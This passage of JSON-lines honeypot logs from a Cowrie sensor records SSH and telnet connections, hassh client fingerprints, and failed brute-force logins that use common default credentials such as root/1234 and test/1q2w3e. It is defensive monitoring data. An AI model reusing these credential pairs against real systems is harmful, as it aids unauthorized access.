cdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:50:41.722301Z","src_ip":"23.88.42.180","session":"3cc1a2472fa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"guarda789","message":"login attempt [root/guarda789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:50:42.009087Z","src_ip":"23.88.42.180","session":"3cc1a2472fa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:50:43.106900Z","src_ip":"23.88.42.180","session":"3cc1a2472fa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43890,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b40aa953696","protocol":"telnet","message":"New connection: 107.6.151.170:43890 (159.203.135.109:23) [session: 1b40aa953696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:50:54.993435Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41770,"dst_ip":"159.203.135.109","dst_port":23,"session":"456754e56472","protocol":"telnet","message":"New connection: 107.6.151.170:41770 (159.203.135.109:23) [session: 456754e56472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:50:54.998070Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56602,"dst_ip":"159.203.135.109","dst_port":23,"session":"841db762aba7","protocol":"telnet","message":"New connection: 107.6.151.170:56602 (159.203.135.109:23) [session: 841db762aba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:00.058749Z"}
{"eventid":"cowrie.session.closed","duration":120.00277185440063,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:14.492110Z","src_ip":"170.64.224.25","session":"81943536a591","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.86341381072998,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:24.856731Z","src_ip":"107.6.151.170","session":"1b40aa953696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.73336744308472,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:30.731344Z","src_ip":"107.6.151.170","session":"456754e56472","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.55523180961609,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:32.613846Z","src_ip":"107.6.151.170","session":"841db762aba7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":48258,"dst_ip":"159.203.135.109","dst_port":23,"session":"82931e1b3240","protocol":"telnet","message":"New connection: 107.6.151.170:48258 (159.203.135.109:23) [session: 82931e1b3240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:33.179626Z"}
{"eventid":"cowrie.session.closed","duration":0.00365447998046875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:33.183084Z","src_ip":"107.6.151.170","session":"82931e1b3240","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.183","src_port":33978,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f66ea9c93bb","protocol":"ssh","message":"New connection: 162.241.132.183:33978 (10.17.0.5:22) [session: 2f66ea9c93bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:39.753696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:39.757330Z","src_ip":"162.241.132.183","session":"2f66ea9c93bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:39.783871Z","src_ip":"162.241.132.183","session":"2f66ea9c93bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"celsius2024","message":"login attempt [root/celsius2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:39.870145Z","src_ip":"162.241.132.183","session":"2f66ea9c93bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:40.899510Z","src_ip":"162.241.132.183","session":"2f66ea9c93bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.156.8.3","src_port":56076,"dst_ip":"159.203.135.109","dst_port":22,"session":"8da688fa0101","protocol":"ssh","message":"New connection: 82.156.8.3:56076 (159.203.135.109:22) [session: 8da688fa0101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:46.013039Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:46.015743Z","src_ip":"82.156.8.3","session":"8da688fa0101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.116.220.251","src_port":51058,"dst_ip":"159.203.135.109","dst_port":22,"session":"e80e96b2a707","protocol":"ssh","message":"New connection: 181.116.220.251:51058 (159.203.135.109:22) [session: e80e96b2a707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:59.327521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:59.330546Z","src_ip":"181.116.220.251","session":"e80e96b2a707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:51:59.495165Z","src_ip":"181.116.220.251","session":"e80e96b2a707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"debian","message":"login attempt [user/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:00.190701Z","src_ip":"181.116.220.251","session":"e80e96b2a707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:01.359430Z","src_ip":"181.116.220.251","session":"e80e96b2a707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34504,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a7addc0a9ed","protocol":"telnet","message":"New connection: 170.64.224.25:34504 (159.203.135.109:23) [session: 7a7addc0a9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:04.630193Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":48208,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c7beb151cdc","protocol":"ssh","message":"New connection: 91.92.40.4:48208 (10.17.0.5:22) [session: 1c7beb151cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:11.077308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:11.085105Z","src_ip":"91.92.40.4","session":"1c7beb151cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:11.165673Z","src_ip":"91.92.40.4","session":"1c7beb151cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1q2w3e","message":"login attempt [test/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:11.417558Z","src_ip":"91.92.40.4","session":"1c7beb151cdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:12.501972Z","src_ip":"91.92.40.4","session":"1c7beb151cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":57456,"dst_ip":"159.203.135.109","dst_port":22,"session":"1442742bb041","protocol":"ssh","message":"New connection: 159.65.58.200:57456 (159.203.135.109:22) [session: 1442742bb041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:14.499818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:14.692357Z","src_ip":"159.65.58.200","session":"1442742bb041","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:14.695043Z","src_ip":"159.65.58.200","session":"1442742bb041","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":58598,"dst_ip":"159.203.135.109","dst_port":22,"session":"39811c39e308","protocol":"ssh","message":"New connection: 109.237.96.109:58598 (159.203.135.109:22) [session: 39811c39e308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:15.879216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:15.891003Z","src_ip":"109.237.96.109","session":"39811c39e308","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:15.973975Z","src_ip":"109.237.96.109","session":"39811c39e308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shishkin","password":"123456","message":"login attempt [shishkin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:16.043729Z","src_ip":"159.65.58.200","session":"1442742bb041","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1230321","message":"login attempt [root/1230321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:16.337850Z","src_ip":"109.237.96.109","session":"39811c39e308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:17.396066Z","src_ip":"159.65.58.200","session":"1442742bb041","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:17.432739Z","src_ip":"109.237.96.109","session":"39811c39e308","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":32790,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ec34e5213d4","protocol":"ssh","message":"New connection: 80.94.92.55:32790 (10.17.0.5:22) [session: 3ec34e5213d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:32.224455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:32.830912Z","src_ip":"80.94.92.55","session":"3ec34e5213d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:32.833435Z","src_ip":"80.94.92.55","session":"3ec34e5213d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:37.229012Z","src_ip":"80.94.92.55","session":"3ec34e5213d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:39.355537Z","src_ip":"80.94.92.55","session":"3ec34e5213d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.11090898513794,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:41.740988Z","src_ip":"170.64.224.25","session":"7a7addc0a9ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":45546,"dst_ip":"10.17.0.5","dst_port":22,"session":"07d7e44acccf","protocol":"ssh","message":"New connection: 162.214.159.200:45546 (10.17.0.5:22) [session: 07d7e44acccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:48.239953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:48.242748Z","src_ip":"162.214.159.200","session":"07d7e44acccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:48.331936Z","src_ip":"162.214.159.200","session":"07d7e44acccf","protocol":"ssh"}
